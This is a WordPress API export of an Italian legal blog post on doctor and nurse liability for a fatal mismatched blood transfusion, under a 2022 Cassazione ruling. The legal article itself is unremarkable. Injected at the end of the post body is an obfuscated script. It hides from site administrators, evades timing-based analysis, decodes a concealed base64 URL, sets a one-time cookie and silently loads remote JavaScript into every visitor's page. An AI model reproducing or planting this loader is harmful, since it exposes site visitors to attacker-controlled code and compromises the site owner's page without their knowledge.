{"id":27764,"date":"2022-02-28T12:10:19","date_gmt":"2022-02-28T12:10:19","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=27764"},"modified":"2026-04-15T05:31:05","modified_gmt":"2026-04-15T05:31:05","slug":"trasfusione-di-sangue-e-responsabilita-medica-del-sanitario-e-dellinfermiere","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=27764","title":{"rendered":"Trasfusione di sangue e responsabilit\u00e0 medica del sanitario e dell\u2019infermiere"},"content":{"rendered":"<p><strong>Trasfusione di sangue e responsabilit\u00e0 medica del sanitario e dell\u2019infermiere.<\/strong><\/p>\n<p>La Cassazione con la recente pronuncia <strong>n. 4323 dell\u20198 febbraio 2022<\/strong> torna ad affrontare la questione relativa alla <strong>trasfusione di sangue<\/strong> e alla <strong>responsabilit\u00e0 medica gravante sull\u2019infermiere e sul sanitario.<\/strong><\/p>\n<p>Come noto, sono stati registrati notevoli passi avanti in relazione alla pratica trasfusionale, ma, ciononostante, il rischio zero non esiste.<\/p>\n<p>Si segnala, senza alcun dubbio che in linea di massima si \u00e8 ormai riusciti ad arginare l\u2019incidenza delle infezioni contratte in occasione di trasfusioni di sangue ed emoderivati.<\/p>\n<p>Tuttavia, le emotrasfusioni-proprio in ragione della peculiare funzione salvifica e dei rischi connessi alla pratica stessa (il paziente potrebbe, ad esempio, morire in caso di trasfusione di sangue appartenente ad un gruppo sanguigno non compatibile con il proprio) richiedono l\u2019applicazione della massima accortezza del personale sanitario coinvolto.<\/p>\n<p>A tal fine, sono normalmente predisposti protocolli e procedure aziendali volti a regolamentare nel dettaglio tutte le fasi del processo trasfusionale.<\/p>\n<p>La procedura \u00e8, inoltre, soggetta ad un doppio controllo affidato al <strong>personale infermieristico<\/strong>\u00a0che esegue materialmente l\u2019infusione<strong>\u00a0<\/strong>e al\u00a0<strong>medico<\/strong>\u00a0sotto la cui sorveglianza vanno effettuate le operazioni.<\/p>\n<p>Un ruolo cardine, dunque, viene rivestito dall\u2019infermiere sia nella fase antecedente alla somministrazione di sangue ed emoderivati sia in quella della pratica trasfusionale vera e propria.<\/p>\n<p>Vediamo pi\u00f9 da vicino alcuni degli step principali.<\/p>\n<p>\u00c8 l\u2019infermiere, ad esempio, che deve occuparsi della cosiddetta corretta identificazione del paziente; deve espletare, inoltre, la verifica della tipizzazione del sangue, cio\u00e8 deve porre in essere quella procedura di laboratorio atta ad individuare il gruppo sanguigno.<\/p>\n<p>A questo punto, sar\u00e0 sempre l\u2019infermiere a compilare il modulo da trasmettere al centro trasfusionale di riferimento e tramite un controllo incrociato sar\u00e0 sempre questa figura professionale che verificher\u00e0 la correttezza dei dati apposti sia nel modulo sia nel campione da inviare.<\/p>\n<p>L\u2019infermiere \u00e8 responsabile anche della corretta conservazione dell\u2019emocomponente da somministrare.<\/p>\n<p>Il personale infermieristico e il medico, una volta ricevuto il modulo e la sacca, dovranno verificare l\u2019esatta corrispondenza tra l\u2019emogruppo del ricevente e quello del donante.<\/p>\n<p>Ed ancora, occorrer\u00e0 che si presti la massima attenzione anche alla data di scadenza riportata nella sacca e assicurarsi dell\u2019ottimale conservazione dell\u2019emocomponente.<\/p>\n<p>Successivamente, sar\u00e0 l\u2019infermiere a dover verificare l\u2019idoneit\u00e0 dell\u2019accesso venoso e a controllare i parametri vitali del paziente.<\/p>\n<p>Almeno per i primi 15 minuti, occorrer\u00e0 immancabilmente tenere sotto controllo il malato, al fine di poter rilevare qualsiasi anomalia in modo tempestivo ed immediato.<\/p>\n<h3>Preciso, che per tutta la durata della trasfusione di sangue, \u00e8 opportuno ed indispensabile un monitoraggio onde poter intervenire laddove si rendesse necessario.<\/h3>\n<p>In estrema sintesi, la procedura per la somministrazione di sangue ed emoderivati \u00e8 contrassegnata da vari step, che necessitano un\u2019attenzione scrupolosa da parte dei professionisti.<\/p>\n<p>Non stupisce che la Cassazione con la pronuncia in esame abbia ritenuto sussistente il nesso di causalit\u00e0 tra la morte del paziente \u2013 conseguente alla erronea trasfusione di sangue appartenente ad un gruppo sanguigno non compatibile con quello del soggetto ricevente- e la condotta del medico.<\/p>\n<p>Nel caso di specie, il sanitario, contrariamente a quanto disposto anche dalle istruzioni ministeriali di riferimento, non aveva assistito alla fase finale della procedura di emotrasfusione e all\u2019allacciamento da parte dell\u2019infermiere della sacca nell\u2019ago cannula posto al braccio del paziente.<\/p>\n<p>L\u2019errata trasfusione di sangue di un gruppo incompatibile aveva determinato un grave peggioramento del quadro clinico del paziente, causandone la morte.<\/p>\n<p>Nella sentenza in oggetto viene riportato che \u201c <em>le procedure operative per l\u2019esecuzione della trasfusione prevedevano specificatamente la compartecipazione del medico alla fase di inizio anche se la materiale esecuzione era dell\u2019infermiere, proprio per garantire un controllo esterno sulla individuazione della sacca del paziente, sulla compatibilit\u00e0 del gruppo sanguigno, procedura che \u00e8 stata in concreto disattesa dagli imputati perch\u00e9, nel momento dell\u2019allacciamento della sacca all\u2019ago cannula del paziente, l\u2019infermiera era da sola e l\u2019imputato si era allontanato<\/em>\u201d.<\/p>\n<p>La previsione di un doppio controllo \u00e8 finalizzata ad evitare errori non di tipo valutativo, ma nella fase dell\u2019esecuzione materiale.<\/p>\n<p>L\u2019aver previsto la compartecipazione del medico all\u2019inizio della trasfusione, la cui materiale esecuzione spetta all\u2019infermiere, \u00e8 precauzione rivolta a ottenere proprio un controllo esterno sull\u2019individuazione del paziente, della sacca e della compatibilit\u00e0 del gruppo sanguigno.<\/p>\n<p>Infine, la Cassazione ribadisce che\u201d <em>non pu\u00f2 invocare il principio di affidamento l\u2019agente che non abbia osservato una regola precauzionale su cui si innesti l\u2019altra condotta colposa, poich\u00e9 la sua responsabilit\u00e0 persiste in base al principio di equivalenza delle cause, salva l\u2019affermazione dell\u2019efficacia esclusiva della causa sopravvenuta, che presenti il carattere di eccezionalit\u00e0 e imprevedibilit\u00e0\u201d<\/em>.<\/p>\n<p>Ne deriva che non coglie nel segno il tentativo del sanitario di addossare la responsabilit\u00e0 della morte del paziente alla sola infermiera dal momento che il dottore aveva, a sua volta, infranto la norma risultando anch\u2019egli responsabile per aver concorso con la sua condotta alla causazione del decesso.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Trasfusione di sangue e responsabilit\u00e0 medica del sanitario e dell\u2019infermiere. La Cassazione con la recente pronuncia n. 4323 dell\u20198 febbraio 2022 torna ad affrontare la questione relativa alla trasfusione di sangue e alla responsabilit\u00e0 medica gravante sull\u2019infermiere e sul sanitario. Come noto, sono stati registrati notevoli passi avanti in relazione alla pratica trasfusionale, ma, ciononostante, [&hellip;]<\/p>\n","protected":false},"author":133,"featured_media":27767,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231],"tags":[],"class_list":["post-27764","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/27764","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/133"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27764"}],"version-history":[{"count":4,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/27764\/revisions"}],"predecessor-version":[{"id":28579,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/27764\/revisions\/28579"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/27767"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27764"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27764"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27764"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}